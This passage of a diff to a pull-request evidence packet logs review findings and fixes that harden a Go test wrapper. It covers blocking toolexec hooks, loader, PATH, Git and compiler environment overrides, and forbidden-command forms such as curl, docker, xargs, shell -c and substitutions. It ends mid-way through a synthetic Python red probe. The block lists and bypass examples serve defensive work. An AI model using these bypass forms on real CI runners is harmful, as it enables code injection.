narrow: restore only +`docs/evidence/g01-recovery-packet.md` to immutable parent +`6c55f5b67035fb1c7ac334984499cfe80d6bb86b`; preserve independent driver, +review and manual-runner state, and do not force-kill, prune or replay any +resource. The wrapper's reviewed trust values and effective identity remain +fixture/toolchain evidence only; this correction makes no hostile-code or +native macOS isolation claim. -| Finding and immutable source | Red reproduction and minimal correction | Focused result and boundary | -|---|---|---| -| [4000820530](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4000820530), source [36ec84b27c934a25484b0a5391af0a20c7643912](https://github.com/1XP-AI/gh-runnerd/commit/36ec84b27c934a25484b0a5391af0a20c7643912) | The immutable prior wrapper had no `-toolexec` guard; the synthetic red probe records its first Go child as `go env GOFLAGS`. The current wrapper rejects both separated and equals-form tool hooks before any Go child. | No tool hook, metadata query, test body or result recording ran in the focused current regression. | -| [4000820538](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4000820538), source [22a2923033c875ddd4f755774f79f60b94649449](https://github.com/1XP-AI/gh-runnerd/commit/22a2923033c875ddd4f755774f79f60b94649449) | The exact prior guard scanned only `func init`; the correction derives names from `go list -json -test` source metadata and never starts `go test -list`, so package-variable and imported init paths cannot execute during validation. | Synthetic effectful package-variable and imported-init source was parsed only; no initializer or Go test body ran. | -| [4000935440](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4000935440), source [22a2923033c875ddd4f755774f79f60b94649449](https://github.com/1XP-AI/gh-runnerd/commit/22a2923033c875ddd4f755774f79f60b94649449) | The immutable starting wrapper rejected only selected single-dash forms, and the red `--overlay` probe reached `go env GOFLAGS`. The correction rejects every `--...` Go spelling before the first Go child, including tool/module/overlay/timeout/exec/args, benchmark, selector and build overrides. | Twenty current synthetic separated/equals forms rejected with empty output and zero Go children; no test body, live operation, credential or private path was used. | -| [4000935441](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4000935441), source [22a2923033c875ddd4f755774f79f60b94649449](https://github.com/1XP-AI/gh-runnerd/commit/22a2923033c875ddd4f755774f79f60b94649449) | The prior source parser required an uppercase fifth character and omitted valid `Test`, `Test1` and `Test_Foo` declarations. The corrected parser uses Go's `isTest` condition that accepts an empty suffix or any first suffix rune that is not lowercase. | Focused source-only regression retained all three names; no package execution or `go test -list` ran. | -| [4000935444](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4000935444), source [22a2923033c875ddd4f755774f79f60b94649449](https://github.com/1XP-AI/gh-runnerd/commit/22a2923033c875ddd4f755774f79f60b94649449) | The prior wrapper accepted benchmark-enabling `-bench` and test-binary `-test.bench` overrides while validating only `Test*` events. The correction rejects both benchmark families and all equivalent double-dash forms before metadata. | Synthetic `-bench=.` and `-test.bench=.` cases rejected before source derivation; no benchmark or test body ran. | -| [4000935445](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4000935445), source [22a2923033c875ddd4f755774f79f60b94649449](https://github.com/1XP-AI/gh-runnerd/commit/22a2923033c875ddd4f755774f79f60b94649449) | The prior build identity omitted effective cgo mode. The wrapper now pins `CGO_ENABLED=1` before metadata, rejects a conflicting command value, passes the same environment to metadata and execution and binds `cgo1` into every prescription build identity. | Inherited `CGO_ENABLED=0` was overridden on both direct metadata probes; conflicting command input rejected before any Go child. | -| [4000935448](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4000935448), source [22a2923033c875ddd4f755774f79f60b94649449](https://github.com/1XP-AI/gh-runnerd/commit/22a2923033c875ddd4f755774f79f60b94649449) | The prior wrapper accepted `-cpu=1,2`, while set-based event validation could collapse repeated run/pass events. The correction rejects `-cpu` and every equivalent double-dash spelling before metadata. | Synthetic CPU multiplicity input rejected before source derivation; no repeated execution or event stream was accepted. | -| [4000935449](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4000935449), source [22a2923033c875ddd4f755774f79f60b94649449](https://github.com/1XP-AI/gh-runnerd/commit/22a2923033c875ddd4f755774f79f60b94649449) | The prior package scan counted only `.` and `./...`, allowing an extra module-qualified import path. The correction parses every non-flag positional argument, requires exactly one package argument before metadata and retains exact `-C` and package identity checks. | Synthetic relative-plus-import-path targeting rejected before `go env` or `go list`; no second package initialized or ran. | -| [4000964602](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4000964602), source [22a2923033c875ddd4f755774f79f60b94649449](https://github.com/1XP-AI/gh-runnerd/commit/22a2923033c875ddd4f755774f79f60b94649449) | The prior source set omitted executable `Example` functions even though an unfiltered prescription executes them. The conservative correction rejects any top-level `Example` declaration before claiming a set digest. | Focused synthetic `ExampleWidget` declaration rejected before a digest or result was recorded; no example body ran. | -| [4001254021](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4001254021), source [423d4fc501120a014e63f77d3ef6652606d0326a lines 971-1062](https://github.com/1XP-AI/gh-runnerd/blob/423d4fc501120a014e63f77d3ef6652606d0326a/docs/evidence/g01-recovery-packet.md#L971-L1062) | Reproduced: the immutable source-name helper returned after its first `//` line, so consecutive line/block comments between `func` and `TestHidden` caused the valid declaration to be omitted. Corrected: `skip_source_ignored` now consumes whitespace and consecutive line/block comments until the next token; final source-name anchors are lines 1019-1111. | Immutable red/current-green source-only evidence is recorded at packet lines 4574-4688; the current probe discovers `TestHidden` and observed zero Go children. | -| [4001254025](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4001254025), source [423d4fc501120a014e63f77d3ef6652606d0326a lines 1065-1083](https://github.com/1XP-AI/gh-runnerd/blob/423d4fc501120a014e63f77d3ef6652606d0326a/docs/evidence/g01-recovery-packet.md#L1065-L1083) | Reproduced: the immutable helper left `[[:xdigit:]]` untranslated, so Python derived a set different from Go's ASCII xdigit class. Corrected: preflight now scans nested POSIX classes against the explicit seven-name translation table and rejects all other classes before compile or metadata, while preserving reviewed translations and escaped literals; final regexp anchors are lines 935-986 and 1114-1123. | Immutable red/current-green mismatch and no-Go-child evidence is recorded at packet lines 4691-4856; six unsupported classes were rejected before Python compile and zero Go children were observed. | -| [4001378617](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4001378617), source [f7e723d2bc9efdf2a4a345ae5ee1e76c03bb943e](https://github.com/1XP-AI/gh-runnerd/commit/f7e723d2bc9efdf2a4a345ae5ee1e76c03bb943e) | Reproduced: command-prefix `PATH` and loader variables reached the first Go child, allowing a transparent executable-loader override. Corrected: the wrapper and package/build metadata audit reject PATH plus reviewed `LD_`/`DYLD_` loader-affecting assignments before guarded subprocesses. | [Final PATH/loader evidence](#root-4001378617-path-and-loader-affecting-assignment-prefixes): 14 assignment forms rejected before any Go child/result; a transparent `go` wrapper did not run. | -| [4001378618](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4001378618), source [f7e723d2bc9efdf2a4a345ae5ee1e76c03bb943e](https://github.com/1XP-AI/gh-runnerd/commit/f7e723d2bc9efdf2a4a345ae5ee1e76c03bb943e) | Reproduced: Python `str.islower()` omitted Go-valid `Testª`. Corrected: source derivation matches cmd/go's `unicode.IsLower` lowercase-letter rule, accepting non-lowercase Unicode initial runes and rejecting lowercase ones. | [Final Unicode evidence](#root-4001378618-go-unicode-lowercase-predicate-for-test-names): `Testª`, titlecase and other non-lowercase boundaries accepted; lowercase cases rejected; no Go child. | -| [4001378622](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4001378622), source [f7e723d2bc9efdf2a4a345ae5ee1e76c03bb943e](https://github.com/1XP-AI/gh-runnerd/commit/f7e723d2bc9efdf2a4a345ae5ee1e76c03bb943e) | Reproduced: direct and nested `bash/sh -c` payloads bypassed the executable-token scan. Corrected: shell command-string forms are recursively inspected and fail closed across direct, absolute, optioned, wrapper-prefixed, `busybox` and nested forms. | [Final nested-shell evidence](#root-4001378622-recursive-shell-command-string-scan): all direct/nested forms rejected while a safe direct command remained accepted by the pure scanner. | -| [4001378624](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4001378624), source [f7e723d2bc9efdf2a4a345ae5ee1e76c03bb943e](https://github.com/1XP-AI/gh-runnerd/commit/f7e723d2bc9efdf2a4a345ae5ee1e76c03bb943e) | Reproduced: source-fuzz scanning opened an ignored FIFO before the cleanliness gate and blocked. Corrected: immutable tree/status cleanliness runs before candidate glob/read; the guard rejects ignored special files before metadata or Go execution. | [Final FIFO evidence](#root-4001378624-cleanliness-gate-before-source-reads): ignored `stuck_test.go` rejected before read, metadata/Go child or blocking. | -| [4001471783](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4001471783), source [01764bbed0a387129d2a2abbc9e27a87e073f87e](https://github.com/1XP-AI/gh-runnerd/commit/01764bbed0a387129d2a2abbc9e27a87e073f87e) | Reproduced: the exact starting wrapper queried Git before parsing inherited or command-prefix assignments, so `GIT_WORK_TREE`, `GIT_DIR`, `GIT_INDEX_FILE` and related repository-control `GIT_*` variables could alter immutable-tree/status/index semantics. Corrected: assignment parsing and one shared reviewed Git name/prefix rejection now precede every Git query; the package/build audit mirrors the rejection. | [Final Git-environment evidence](#root-4001471783-git-repository-control-environment-overrides): 27 inherited and 3 command-prefix overrides rejected before any Git/Go child or immutable-tree/status validation. | -| [4001593870](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4001593870), source [4bd66186ea8d980a06ed8a4adf7f51e76b5028ef](https://github.com/1XP-AI/gh-runnerd/commit/4bd66186ea8d980a06ed8a4adf7f51e76b5028ef) | Reproduced: the immutable wrapper forwarded inherited `CC`, `CXX`, `GCCGO` and `CGO_*` controls to its first `go env` child. Corrected: compiler/cgo-tool environment names plus the reviewed `CGO_*` namespace fail closed before any Go child; the existing `CGO_ENABLED=1` pin remains, and `cgo-tools-default` is bound into every current build identity. | [Compiler/cgo-tool boundary](#root-4001593870-compiler-and-cgo-tool-environment-overrides): 24 inherited/command-prefix synthetic overrides rejected before any child; 28 prescriptions carry the effective tool identity; no compiler, Go, test or live process ran. | -| [4001593875](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4001593875), source [4bd66186ea8d980a06ed8a4adf7f51e76b5028ef](https://github.com/1XP-AI/gh-runnerd/commit/4bd66186ea8d980a06ed8a4adf7f51e76b5028ef) | Reproduced: the immutable forbidden-command scanner compared raw executable tokens, so absolute curl/gh/docker/limactl/security/launchctl paths escaped. Corrected: one basename normalizer is used before wrapper, shell-string and forbidden-command checks. | [Absolute-executable scanner boundary](#root-4001593875-absolute-executable-paths-in-forbidden-live-command-scanner): 8 absolute/wrapped synthetic forms rejected and safe printf retained; no forbidden/live command ran. | -| [4001593877](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4001593877), source [4bd66186ea8d980a06ed8a4adf7f51e76b5028ef](https://github.com/1XP-AI/gh-runnerd/commit/4bd66186ea8d980a06ed8a4adf7f51e76b5028ef) | Reproduced: selector-only discovery ignored an executable unfiltered `go test` command. Corrected: the fence-aware audit discovers every executable `go test`, requires `go_test_checked` or an explicit non-prescription fixture marker, and preserves source-derived selector/build guards for prescriptions. | [Unfiltered go-test boundary](#root-4001593877-unfiltered-go-test-prescriptions): 28/28 executable commands are guarded, 0 fixtures are present, and a synthetic unfiltered command is rejected before any Go child. | -| [4001907037](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4001907037), source [d85f99fa70a6f563079b1ed4f29a1bc97740a3c5](https://github.com/1XP-AI/gh-runnerd/commit/d85f99fa70a6f563079b1ed4f29a1bc97740a3c5) | Reproduced: the immutable wrapper accepted a persisted `GOENV` path through its first Git lookup. Corrected: non-`off` inherited/command values fail closed and `GOENV=off` is bound before every Go child. | [GOENV boundary](#root-4001907037-persisted-goenv-compiler-settings): synthetic inherited and command-prefix conflicts were refused before a child; reviewed `off` was accepted. | -| [4001907044](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4001907044), source [d85f99fa70a6f563079b1ed4f29a1bc97740a3c5](https://github.com/1XP-AI/gh-runnerd/commit/d85f99fa70a6f563079b1ed4f29a1bc97740a3c5) | Reproduced: the immutable wrapper accepted an inherited synthetic PATH before Git/Go lookup. Corrected: the reviewed canonical PATH is validated and pinned before the first Git query and reused by Go children. | [PATH boundary](#root-4001907044-inherited-executable-path): a synthetic inherited PATH was rejected before any child. | -| [4001907050](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4001907050), source [d85f99fa70a6f563079b1ed4f29a1bc97740a3c5](https://github.com/1XP-AI/gh-runnerd/commit/d85f99fa70a6f563079b1ed4f29a1bc97740a3c5) | Reproduced: the immutable exhaustive audit missed `/opt/homebrew/bin/go test` because it compared a raw executable token. Corrected: executable basenames are normalized before exhaustive discovery. | [Absolute-Go audit](#root-4001907050-absolute-go-test-executable-discovery): the absolute unfiltered synthetic command was discovered and rejected as unguarded. | -| [4001907053](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4001907053), source [d85f99fa70a6f563079b1ed4f29a1bc97740a3c5](https://github.com/1XP-AI/gh-runnerd/commit/d85f99fa70a6f563079b1ed4f29a1bc97740a3c5) | Reproduced: the immutable live-command scanner accepted a Python command string capable of replaying `gh`. Corrected: direct, absolute, `env`-wrapped and compact `python`/`python3 -c` forms fail closed. | [Python command-string boundary](#root-4001907053-python-command-string-live-command-boundary): four synthetic forms were rejected by the pure scanner and safe `printf` remained accepted. | -| [4001907059](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4001907059), source [d85f99fa70a6f563079b1ed4f29a1bc97740a3c5](https://github.com/1XP-AI/gh-runnerd/commit/d85f99fa70a6f563079b1ed4f29a1bc97740a3c5) | Reproduced: the immutable build identity omitted reviewed GOOS/GOARCH/arch-feature settings. Corrected: `GOOS=darwin`, `GOARCH=arm64`, `GOARM64=v8.0` are bound and recorded in the target identity. | [Target binding](#root-4001907059-reviewed-target-in-build-identity): reviewed values were accepted, conflicting/unreviewed settings refused, and all 28 records carry the target component. | -| [4001907060](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4001907060), source [d85f99fa70a6f563079b1ed4f29a1bc97740a3c5](https://github.com/1XP-AI/gh-runnerd/commit/d85f99fa70a6f563079b1ed4f29a1bc97740a3c5) | Reproduced: the immutable status-only cleanliness gate could hide skip-worktree/assume-unchanged source entries. Corrected: `git ls-files -v` intent bits are checked before metadata and source derivation. | [Git intent-bit gate](#root-4001907060-git-intent-bits-before-source-derivation): synthetic skip-worktree and assume-unchanged entries were observed and refused before source reads. | -| [4001907063](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4001907063), source [d85f99fa70a6f563079b1ed4f29a1bc97740a3c5](https://github.com/1XP-AI/gh-runnerd/commit/d85f99fa70a6f563079b1ed4f29a1bc97740a3c5) | Reproduced: the immutable packet URL ledger omitted the three prior fresh P2 discussion anchors. Corrected: exact immutable URLs for 4001767353, 4001767363 and 4001767365 are retained in the dedicated URL ledger. | [Prior-correction URL ledger](#root-4001907063-immutable-urls-for-prior-fresh-p2-corrections): the focused string probe verified all three exact URLs. | -| [4002136372](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002136372), source [da1af0d041e37e5df9f3ed8028b51a69ec58ed8c](https://github.com/1XP-AI/gh-runnerd/commit/da1af0d041e37e5df9f3ed8028b51a69ec58ed8c) | Reproduced: the exact parent had no GOROOT guard or identity. Corrected: reviewed `GOROOT=""` is pinned before every Go child, non-default inherited and command-prefix values fail closed, and `goroot-default` is bound into the nine-part identity. | [GOROOT boundary](#root-4002136372-inherited-and-command-prefix-goroot): both synthetic conflict forms were rejected before a child; no raw root path was recorded. | -| [4002136380](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002136380), source [da1af0d041e37e5df9f3ed8028b51a69ec58ed8c](https://github.com/1XP-AI/gh-runnerd/commit/da1af0d041e37e5df9f3ed8028b51a69ec58ed8c) | Reproduced: the exact parent had no GOFIPS140 guard or identity. Corrected: reviewed `GOFIPS140=off` is pinned before every Go child, other inherited and command-prefix values fail closed, and `gofips140-off` is bound into the nine-part identity. | [GOFIPS140 boundary](#root-4002136380-inherited-and-command-prefix-gofips140): both synthetic conflict forms were rejected before a child. | -| [4002136385](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002136385), source [da1af0d041e37e5df9f3ed8028b51a69ec58ed8c](https://github.com/1XP-AI/gh-runnerd/commit/da1af0d041e37e5df9f3ed8028b51a69ec58ed8c) | Reproduced: the exact parent accepted `gh --repo ... api` before subcommand classification. Corrected: the scanner fails closed for every gh invocation, so global flags need no partial parser. | [gh scanner boundary](#root-4002136385-gh-global-flags-before-subcommand-classification): global-flag, version and absolute-path forms were rejected by the pure scanner; no gh command ran. | -| [4002136391](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002136391), source [da1af0d041e37e5df9f3ed8028b51a69ec58ed8c](https://github.com/1XP-AI/gh-runnerd/commit/da1af0d041e37e5df9f3ed8028b51a69ec58ed8c) | Reproduced: the exact parent had 36 executable Python heredocs without `-I`. Corrected: all current executable heredocs use `python3 -I`, and executable audit regexes require that form. | [Python isolation boundary](#root-4002136391-isolated-python-guard-and-audit-imports): 37 isolated heredocs and a hostile cwd/PYTHONPATH module probe passed without importing the shadow module. | -| [4002136393](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002136393), source [da1af0d041e37e5df9f3ed8028b51a69ec58ed8c](https://github.com/1XP-AI/gh-runnerd/commit/da1af0d041e37e5df9f3ed8028b51a69ec58ed8c) | Reproduced: the exact parent retained three literal head-output records from older packet heads. Corrected: those outputs are historical-only, the follow-up parent is explicit, and the post-push dynamic template is the only current-head assertion. | [Exact-head output boundary](#root-4002136393-stale-exact-head-output-records): the focused probe verified historical relabeling and did not reuse a stale result. | -| [4002136395](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002136395), source [da1af0d041e37e5df9f3ed8028b51a69ec58ed8c](https://github.com/1XP-AI/gh-runnerd/commit/da1af0d041e37e5df9f3ed8028b51a69ec58ed8c) | Reproduced: the exact parent had no bounded module-source verification. Corrected: `go mod download -json all` and `go mod verify` run through the shared bounded Go-child helper, complete metadata/source paths are required and all failures fail closed. | [Module-source boundary](#root-4002136395-downloaded-module-source-verification): fake bounded download/verify success and incomplete-metadata failure probes passed without starting Go. | -| [4002184738](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002184738), source [5297b3c3b05afedf97723b7b58806cdd5519a2b6](https://github.com/1XP-AI/gh-runnerd/commit/5297b3c3b05afedf97723b7b58806cdd5519a2b6) | Reproduced: the exact parent allowed xargs and other command-delegating forms to hide a downstream `gh`/live command. Corrected: the scanner rejects xargs, find, parallel, make and equivalent launchers before delegated command classification, across direct, pipeline, wrapper-prefixed and nested forms. | [Delegation boundary](#root-4002184738-command-delegating-live-command-forms): direct/pipeline/env/nested xargs and find/parallel/make fixtures failed closed; safe `printf` remained accepted and no live command ran. | -| [4002184745](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002184745), source [5297b3c3b05afedf97723b7b58806cdd5519a2b6](https://github.com/1XP-AI/gh-runnerd/commit/5297b3c3b05afedf97723b7b58806cdd5519a2b6) | Reproduced: the exact parent applied a deadline to only the direct Go process, leaving descendants outside timeout termination/reap. Corrected: the wrapper owns a new session/process group, terminates/escalates the full group and waits for the direct child before refusal. | [Process-group boundary](#root-4002184745-descendant-process-group-timeout-and-reap): a synthetic descendant tree terminated/reaped under a shortened deadline without starting a real Go child; no live cleanup ran. | -| [4002184748](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002184748), source [5297b3c3b05afedf97723b7b58806cdd5519a2b6](https://github.com/1XP-AI/gh-runnerd/commit/5297b3c3b05afedf97723b7b58806cdd5519a2b6) | Reproduced: the exact parent’s `^\s*func\s+init` check missed valid Go init declarations separated by whitespace and consecutive line/block comments. Corrected: lexical top-level scanning consumes ignored tokens and fails closed on valid `func init()` while preserving literal/receiver/name boundaries. | [Package-init boundary](#root-4002184748-commented-package-init-declarations): focused source-only red/green probe detected commented declarations and rejected unsafe boundaries; no Go metadata/list/test execution ran. | -| [4002447532](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002447532), source [09ecc1b581af8a3b955b8f44b817e064e9674abe](https://github.com/1XP-AI/gh-runnerd/commit/09ecc1b581af8a3b955b8f44b817e064e9674abe) | Reproduced: two future vet commands bypassed the bounded prescription wrapper. Corrected: both now use `go_vet_checked`, delegating to the shared bounded Go-child/environment/source-identity path. | [Fresh exact-head vet correction](#root-4002447532-future-go-vet-prescriptions-use-the-bounded-wrapper): two vet prescriptions retained, no Go child claimed in focused static evidence; rollback is packet-only parent restoration. | -| [4002447537](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002447537), source [09ecc1b581af8a3b955b8f44b817e064e9674abe](https://github.com/1XP-AI/gh-runnerd/commit/09ecc1b581af8a3b955b8f44b817e064e9674abe) | Reproduced: direct, assignment, pipeline and nested shell substitutions could pass the scanner. Corrected: `$()` and backticks fail closed before wrapper stripping or fence certification. | [Fresh exact-head substitution correction](#root-4002447537-shell-command-substitutions-fail-closed): all focused boundary forms rejected; rollback is packet-only parent restoration. | -| [4002447542](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002447542), source [09ecc1b581af8a3b955b8f44b817e064e9674abe](https://github.com/1XP-AI/gh-runnerd/commit/09ecc1b581af8a3b955b8f44b817e064e9674abe) | Reproduced: Docker was rejected only for a small subcommand list. Corrected: every Docker executable invocation now fails closed, including absolute and read-only forms. | [Fresh exact-head Docker correction](#root-4002447542-every-docker-invocation-is-forbidden): every focused Docker fixture rejected; no Docker operation ran; rollback is packet-only parent restoration. | -| [4002447545](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002447545), source [09ecc1b581af8a3b955b8f44b817e064e9674abe](https://github.com/1XP-AI/gh-runnerd/commit/09ecc1b581af8a3b955b8f44b817e064e9674abe) | Reproduced: four named compiler search-path controls reached the first metadata child. Corrected: inherited/command-prefix values fail closed before the reviewed cgo/tool identity, with the identity retained in prescriptions. | [Fresh exact-head compiler correction](#root-4002447545-compiler-search-paths-precede-cgotool-identity): focused boundary probe rejected all named controls; no compiler or Go child ran; rollback is packet-only parent restoration. | -| [4002447549](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002447549), source [09ecc1b581af8a3b955b8f44b817e064e9674abe](https://github.com/1XP-AI/gh-runnerd/commit/09ecc1b581af8a3b955b8f44b817e064e9674abe) | Reproduced: the staged private-path audit covered only one macOS private-var spelling. Corrected: separate reviewed roots cover both spellings before fence certification. | [Fresh exact-head private-path correction](#root-4002447549-both-macos-private-var-spellings-are-scanned): focused audit confirmed both roots; no private path/log was captured; rollback is packet-only parent restoration. | +#### Exact review URL ledger and dispositions -### Fresh exact-head P2 corrections at `81787b2e90df496a9c5a51fddc7607d3019834b7` +| Finding and immutable source | Exact review URL | Disposition and rollback evidence | +|---|---|---| +| 4002895109, source `6c55f5b67035fb1c7ac334984499cfe80d6bb86b` | [discussion 4002895109](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002895109) | Reproduced configured repository `core.fsmonitor` invocation before the guard. Every wrapper-controlled source-tree, porcelain-status and intent-bit Git query now uses `core.fsmonitor=false`, `core.hooksPath=/dev/null`, `GIT_CONFIG_NOSYSTEM=1` and `/dev/null` global/system config. No hostile-code or live qualification is claimed; rollback is packet-only parent restoration. | +| 4002895114, source `6c55f5b67035fb1c7ac334984499cfe80d6bb86b` | [discussion 4002895114](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002895114) | Reproduced `subprocess as sp`, imported `run`, and imported `system` aliases accepted by the exact parent. The AST audit resolves reviewed aliases/functions and fails closed on unresolved command-capable calls/imports, while preserving the existing dynamic safe-marker rule for resolved calls. Static-only probes ran; no forbidden/live command ran. Rollback is packet-only parent restoration. | +| 4002895117, source `6c55f5b67035fb1c7ac334984499cfe80d6bb86b` | [discussion 4002895117](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002895117) | Reproduced inherited custom `GOSUMDB`/`GOPROXY` reaching the first child and the old identity using requested `GOTOOLCHAIN` only. The wrapper now requires `GOSUMDB=sum.golang.org` and `GOPROXY=https://proxy.golang.org,direct`, verifies effective `GOVERSION`/trust via bounded `go env`, and binds effective toolchain identity; existing GOCACHEPROG/GOAUTH controls remain. No Go child or live qualification ran. Rollback is packet-only parent restoration. | -The [exact-head Codex review 5194544866](https://github.com/1XP-AI/gh-runnerd/pull/78#pullrequestreview-5194544866) identified eight actionable packet gaps in the immutable parent above. The two executable-hook roots, [4002688105](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002688105) and [4002688110](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002688110), are separate contexts for one fail-closed `GOCACHEPROG`/`GOAUTH` boundary. This follow-up changes only this packet; it does not run Go test/list/body commands or any live App, runner, workflow, Docker, Lima, Keychain or launchd operation. +### Fresh exact-head Codex P2 corrections at `13b463086a0e7aa710067cafb44dcd9aed118654` + +The [exact-head Codex review 5195066650](https://github.com/1XP-AI/gh-runnerd/pull/78#pullrequestreview-5195066650) identified three fresh P2 gaps against immutable parent `13b463086a0e7aa710067cafb44dcd9aed118654`: additional Python process-launch APIs ([4003073122](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4003073122)), argument-consuming `env -S` shell-wrapper parsing ([4003073128](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4003073128)), and unsupported shell compound/function/brace/case parsing ([4003073136](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4003073136)). This packet-only correction preserves all prior exact-head ledgers, TDD evidence, rollback/live gaps, no-secrets/private-path policy and the explicit boundary that trusted same-user execution is not hostile-code isolation. #### Exact-parent red reproduction -The following read-only probe ran first against the exact immutable parent. It -extracts only packet text, patches child launches to stop before any child, and -uses synthetic shell/Python/JSON fixtures; it does not invoke Go or a live -operation: +The red probe ran first against the exact immutable parent. It extracts only the +parent scanner, calls only pure AST/token helpers and uses synthetic command +strings; no forbidden/live command, Go child, workflow, runner, Docker, Lima, +Keychain or launchd operation is executed: ```sh set -euo pipefail +export PATH=/opt/homebrew/bin:/usr/bin:/bin [ "${PATH-}" = "/opt/homebrew/bin:/usr/bin:/bin" ] && [ -x /opt/homebrew/bin/python3 ] || { printf '%s\n' 'reviewed canonical PATH and absolute Python interpreter required' >&2; exit 1; } [ -z "${LD_PRELOAD-}" ] && [ -z "${LD_PRELOAD_32-}" ] && [ -z "${LD_PRELOAD_64-}" ] && [ -z "${LD_LIBRARY_PATH-}" ] && [ -z "${LD_LIBRARY_PATH_32-}" ] && [ -z "${LD_LIBRARY_PATH_64-}" ] && [ -z "${LD_AUDIT-}" ] && [ -z "${DYLD_INSERT_LIBRARIES-}" ] && [ -z "${DYLD_LIBRARY_PATH-}" ] && [ -z "${DYLD_FALLBACK_LIBRARY_PATH-}" ] && [ -z "${DYLD_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_FALLBACK_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_ROOT_PATH-}" ] || { printf '%s\n' 'inherited dynamic-loader hooks are not allowed before Python startup' >&2; exit 1; } +# g01-safe-python-heredoc: reviewed exact-parent AST fixture /opt/homebrew/bin/python3 -I - <<'PY' import ast -import json -import os import re import shlex import subprocess -import sys +from pathlib import Path -parent = "81787b2e90df496a9c5a51fddc7607d3019834b7" +parent = "13b463086a0e7aa710067cafb44dcd9aed118654" packet = subprocess.check_output( - ["git", "show", f"{parent}:docs/evidence/g01-recovery-packet.md"], + ["/usr/bin/env", "-i", "GIT_CONFIG_NOSYSTEM=1", "GIT_CONFIG_GLOBAL=/dev/null", "GIT_CONFIG_SYSTEM=/dev/null", "GIT_ATTR_NOSYSTEM=1", "/usr/bin/git", "--no-replace-objects", "-P", "-c", "core.fsmonitor=false", "-c", "core.hooksPath=/dev/null", "show", f"{parent}:docs/evidence/g01-recovery-packet.md"], text=True, ) -lines = packet.splitlines() -vet = [ - (index, lines[index], lines[index + 1]) - for index in range(len(lines) - 1) - if lines[index].startswith("go_vet_checked ") -] -if len(vet) != 2: - raise SystemExit(f"red setup changed: expected two vet prescriptions, found {len(vet)}") -for index, declaration, command in vet: - fields = declaration.split() - if "-tags=g01_pair_fixture" in command and fields[3].startswith("default+"): - print( - f"RED 4002688103: exact parent {parent} declares {fields[3]} while " - f"command line {index + 2} passes -tags=g01_pair_fixture" - ) - else: - raise SystemExit("red setup changed: vet identity/tag mismatch absent") +scanner_anchor = packet.index("def forbidden_command(tokens, depth=0):") +scanner_start = packet.rfind("source = Path(", 0, scanner_anchor) +scanner_end = packet.index("\nmatches = []", scanner_anchor) +namespace = {"Path": Path, "ast": ast, "re": re, "shlex": shlex} +exec(compile(packet[scanner_start:scanner_end], "", "exec"), namespace) -wrapper_start = packet.index("\nimport hashlib\n", packet.index("go_test_checked()")) + 1 -wrapper_end = packet.index("\nPY\n}", wrapper_start) -wrapper = packet[wrapper_start:wrapper_end] -if "GOCACHEPROG" not in wrapper and "GOAUTH" not in wrapper: - print( - f"RED 4002688105/4002688110: exact parent {parent} has no GOCACHEPROG " - "or GOAUTH command-form guard before Go children" - ) -else: - raise SystemExit("red setup changed: cache/auth guard already present") +for label, body in ( + ("subprocess.getoutput", 'import subprocess\nsubprocess.getoutput("gh workflow run ci.yml")'), + ("subprocess.getstatusoutput", 'import subprocess\nsubprocess.getstatusoutput("gh workflow run ci.yml")'), + ("os.execvp", 'import os\nos.execvp("gh", ["gh", "workflow", "run", "ci.yml"])'), + ("unresolved launcher alias", 'import synthetic as launcher\nlauncher.getoutput(command)'), +): + violation = namespace["inspect_python_heredoc"](body, False) + if violation is not None: + raise SystemExit(f"red setup changed: exact parent already rejects {label}: {violation}") + print(f"RED 4003073122: exact parent accepted unresolved command-capable call {label}") -base = [ - "probe", "1", "0" * 64, 